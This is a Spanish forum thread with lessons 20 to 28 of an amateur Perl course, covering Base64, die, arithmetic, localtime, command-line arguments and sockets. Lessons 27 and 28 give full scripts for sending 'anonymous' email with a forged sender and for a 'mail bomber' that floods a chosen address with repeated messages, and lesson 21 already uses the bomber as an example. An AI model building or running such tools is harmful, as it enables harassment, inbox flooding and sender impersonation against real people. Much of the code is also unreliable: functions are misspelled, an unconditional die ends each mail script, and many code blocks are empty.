| 
	
		|  Autor | Tema: Curso de programación en Perl  (Leído 19,910 veces) |  
	| 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
20.Encriptaci?n en B64Primero de todo, tenemos que activar el modulo MIME::Base64: #!/usr/bin/perluse MIME::Base64;
 Una vez activado este modulo, podemos ver 2 opciones diferentes, codificar, descodificar. Vamos con la codifiaci?n: Activamos el modulo B64. #!/usr/bin/perluse MIME::Base64;$encoded = encoded_base64('El texto');
 Ya hemos cifrado la primera b64, ahora veremos como descodificar: #!/usr/bin/perluse MIME::Base64;$decoded = decoded_base64('El texto');
 Ya esta, recibimos el resultado, ahora, vamos a ver un ejemplo de un sistema que codifique y descodifique, aqui lo vemos: #!/usr/bin/perluse MIME::Base64;print "Que texto desea codificar?:";$cod = <STDIN>;print "Que texto desea descodificar?:";$descod = <STDIN>;$encoded = encode_base64($cod);$decoded = decode_base64($descod);
 Fin de la lecci?n del modulo B64. 
 
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
21.DieSe que una lecci?n para una sola funci?n es poco, pero ami esta funci?n me parece muy interesante por el solo hecho de avisarte formalmente de un error. Cuando una subrutina o una configuraci?n de modulos, conexi?n etc... no te sale bien, usamos la funci?n die. Die lo que hace es que si la conexi?n no salio bien, salta un mensaje y se acaba el programa. Aqui un ejemplo de die en nuestro programa el mail bomber: #!/usr/bin/perluse Net::SMTP;$smtp = Net::SMTP->new('error',Hello => 'error',Timeout =>25,Debug   =>1,);die "No se ha podido conectar al servidor";
 Como veis, die declara que no se efectuo la conexion y se acaba el programa. 
 
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
22.Conversiones de bases numericasDe hexadecimal a decimal: #!/usr/bin/perl 
 De octal a decimal: #!/usr/bin/perl 
 De decimal a ASCII: #!/usr/bin/perl
 Y como pusimos en una lección anterior de hexadecimal a binario: #!/usr/bin/perlprint "join('', unpack('B*', "\x191"));
 EDIT: Ahora me acorde de otra funcion de conversión era ord, para pasar de ASCII a octal y otros... #!/usr/bin/perl 
 Proxima lección, funciones numericas como RAND, restas, multiplicaciones... |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
22.Funciones numericasComo veis en el titulo, vamos a hablar de este tipo de funciones numericas: - Rand - Rand transformado - Sumas - Restas - Divisiones - Multiplicaciones - Potencias - Raices cuadradas - Valores absolutos - Restos 1.Rand: Lo que la  funci?n numerica rand hace es elegir un numero flotante del 0 al numero que quieras. #!/usr/bin/perl
 2.Rand transformado: Es lo mismo que antes solo que puedes elegir numeros octales, caracteres ASCII, colocando su referente delante de todo: #!/usr/bin/perl
 3.Sumas: Las sumas se efectuan usando el caracter +: #!/usr/bin/perl$suma = 9+9;
 4.Restas: Las restas se efectuan usando el caracter -: #!/usr/bin/perl$resta = 9-9;
 5.Divisiones: Las divisiones se efectuan usando el caracter /: #!/usr/bin/perl$division = 81/9;
 6.Multiplicaciones: Las multiplicaciones se efectuan usando el caracter *: #!/usr/bin/perl$multi = 9*9;$multi;
 7.Potencias: Hay dos tipos de efectuar potencias, usando el sistema exp para conseguir la potencia a cualquier numero: #!/usr/bin/perl
 Y luego, elevar un numero a una potencia, aqui vemos como se hace:  #!/usr/bin/perl$pot = 5 ** 2;
 Esto se llamaria 5 a la 2 o 5 al cuadrado. 8.Raices cuadradas: La raiz cuadrada al igual que C se utiliza sqrt, pero en perl no necesitamos la libreria math.h: #!/usr/bin/perl 
 9.Valor absoluto: El valor absoluto se obtiene usando la funcion abs por ejemplo: #!/usr/bin/perl
 10.Como sacar el resto: El resto se obtiene usando el caracter %: #!/usr/bin/perl$resto = 14 % 51;
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
23.LocaltimeAl principio del curso vimos que usabamos la funcion localtime, actualmente, vamos a ense?aros a representarla con las definiciones que querrais, la sintaxis seria algo as?: #!/usr/bin/perl($sec,$min,$hor,$day,$mon,$year,$wday,$yday,$isdst)=localtime(time); 
 Como veis, ya indica cada cosa que es, imaginaos que ahora queremos hacer una aplicacion que muestro, hora:minuto:segundo. #!/usr/bin/perlprint "$hor: $min: $sec";
 ?t voila! |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
24.Variables argumentativaLas variables argumentativasson las que se consiguen escribiendo como si fuera un metodo get, por ejemplo: #!/usr/bin/perlprint "Te llamas $ARGV[0]";
 Pero claro, para conseguir el resultado de esa variable argumentativa, necesitamos escribir al ejecutar el archivo.pl esto:nombre.pl Erik En este caso seria eso. Pueden a?adirles tantas argumentativas como quieran. Si no ha quedado claro, crean un nuevo tema  y preguntais all |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
25.Conexi?n a SocketsA petici?n de rockox, pondre como hacer una conexi?n a sockets y una conexion a una ip, puerto y tcp remoto. Primero, usaremos el modulo Socket. Lo declaramos as?: use IO::Socket;
 Y luego, para acceder la conexi?n tenemos que introducir los datos, primero lo haremos por variables argumentativas como vemos en la lecci?n 24 y luego por variables simples usando <STDIN>. #!/usr/bin/perluse IO::Socket;$conexion= IO::Socket::INET->new(PeerAddr, $ARGV[0], PeerPort, $ARGV[1],  Proto, 'tcp');
 Aqui, hariamos algo as?, por ejemplo le llaremos conexion.pl, escribiriamos esto en el cmd:conexion.pl "ip" "puerto"  (sin comillas) Y se conectaria a esa ip y puerto. Luego por variables simples: #!/usr/bin/perluse IO::Socket;print "Introduce la ip:";$ip = <STDIN>;print "\nIntroduce el puerto:";$puerto = <STDIN>;$conexion= IO::Socket::INET->new(PeerAddr, $ip, PeerPort, $puerto,  Proto, 'tcp');
 Y listo. En la lecci?n 26, veremos complementaciones a los sockets (scanner de puertos, mail bomber...) |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
26.Enviar mensajes a una direcci?n [CHAT]Bueno, aqui os pondre como poder enviar mensajes a una direcci?n ip para poder contactarte con el, primero yo lo hare local, as?, podremos ver mejor y probarlo y m?s adelante lo haremos remoto. Empezamos con el que envia mensajes: #!/usr/bin/perluse IO::Socket;$sock = new IO::Socket::INET (LocalHost => 'localhost',LocalPort => 1100,Proto     => 'tcp',Listen    =>  6,Reuse     => 1);die "No se ha podido crear el socket: $!\n" unless $sock;$conexion->send($ARGV[0]); 
 Esto lo que hace es mandar un mensaje a la direccion 127.0.0.1 al puerto 1100 con el protocolo tcp, veremos que hemos usado una variable argumentativa, en la leccion 24 y 25 vemos algun ejemplo, emplearlo   . Y podremos ver desde un programa como telnet los mensajes que se reciben   . |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
27.Anonymous mail#!/usr/bin/perluse Net::SMTP;print "Introduzca el mailhost al que desea solicitar la conexion:";$mailhost = <STDIN>;print "Introduzca el email que desea utilizar:";$emailfrom = <STDIN>;print "Introduzca el email que desea bombear:";$emailto = <STDIN>;print "Introduzca el asunto del correo:";$asunto = <STDIN>;print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\a...)):";$sms = <STDIN>;$smtp = Net::SMTP->new("$mailhost",Hello => "$mailhost",Timeout =>25,Debug   =>1,);die "No se ha podido conectar al servidor";print $smtp->domain,"\n";$smtp->mail("$emailfrom");$smtp->to("$emailto");$smtp->data();$smtp->datasend("To: $emailto");$smtp->datasend("From: $emailfrom");$smtp->datasend("Subject:$asunto\n");$smtp->datasend("$sms");$smtp->dataend();$smtp->quit(); 
 Tiene el mismo c?digo que el mail bomber, pero lo quitamos el bucle for   . |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  | 
			| 
					
						| Erik# 
								       
								
								 Desconectado 
								Mensajes: 1.138
								
								 
								Gundam
								
								
								
								
								
								   | 
 
28.Bomb Mailer#!/usr/bin/perluse Net::SMTP;print "Buenas, cuantos mails bombs deseas hacer:";$n = <STDIN>;print "Introduzca el mailhost al que desea solicitar la conexion:";$mailhost = <STDIN>;print "Introduzca el email que desea utilizar:";$emailfrom = <STDIN>;print "Introduzca el email que desea bombear:";$emailto = <STDIN>;print "Introduzca el asunto del correo:";$asunto = <STDIN>;print "Introduzca el mensaje que desea enviar (Puede usar secuencias de escape (\\n, \\r...)):";$sms = <STDIN>;for ($a=1;$a<=$n;$a++) {$smtp = Net::SMTP->new("$mailhost",Hello => "$mailhost",Timeout =>25,Debug   =>1,);die "No se ha podido conectar al servidor";print $smtp->domain,"\n";$smtp->mail("$emailfrom");$smtp->to("$emailto");$smtp->data();$smtp->datasend("To: $emailto");$smtp->datasend("From: $emailfrom");$smtp->datasend("Subject:$asunto\n");$smtp->datasend("$sms");$smtp->dataend();$smtp->quit();}
 |  
						| 
								|  |  
								|  |  En línea | 
 
 |  |  |  |  |  
 
	
 
 
				
					
						| Mensajes similares |  
						|  | Asunto | Iniciado por | Respuestas | Vistas | Último mensaje |  
						|   |   | C/c++ curso de programacion (2ª edic)(+ CD-rom), falta CD Programación C/C++
 | modo_senin | 3 | 5,248 |  30 Diciembre 2011, 16:50 pm por 3mp3z@ndo
 |  
						|   |   | Curso de Programación de aplicaciones en Android Android
 | free-articles | 1 | 3,673 |  9 Mayo 2013, 00:23 am por CodeSource
 |  
						|   |   | [Duda] ¿Algún curso/manual de Perl? Scripting
 | DeMoNcRaZy | 5 | 3,548 |  27 Junio 2015, 23:21 pm por explorer
 |  
						|   |   | Curso de Programación Java con Grails Java
 | usernovato | 1 | 2,957 |  27 Octubre 2015, 00:09 am por jsuperh
 |  
						|   |   | [CURSO] Programación en Java
							« 1 2 » Java
 | 3n31ch | 10 | 23,845 |  28 Junio 2017, 08:36 am por 3n31ch
 |    |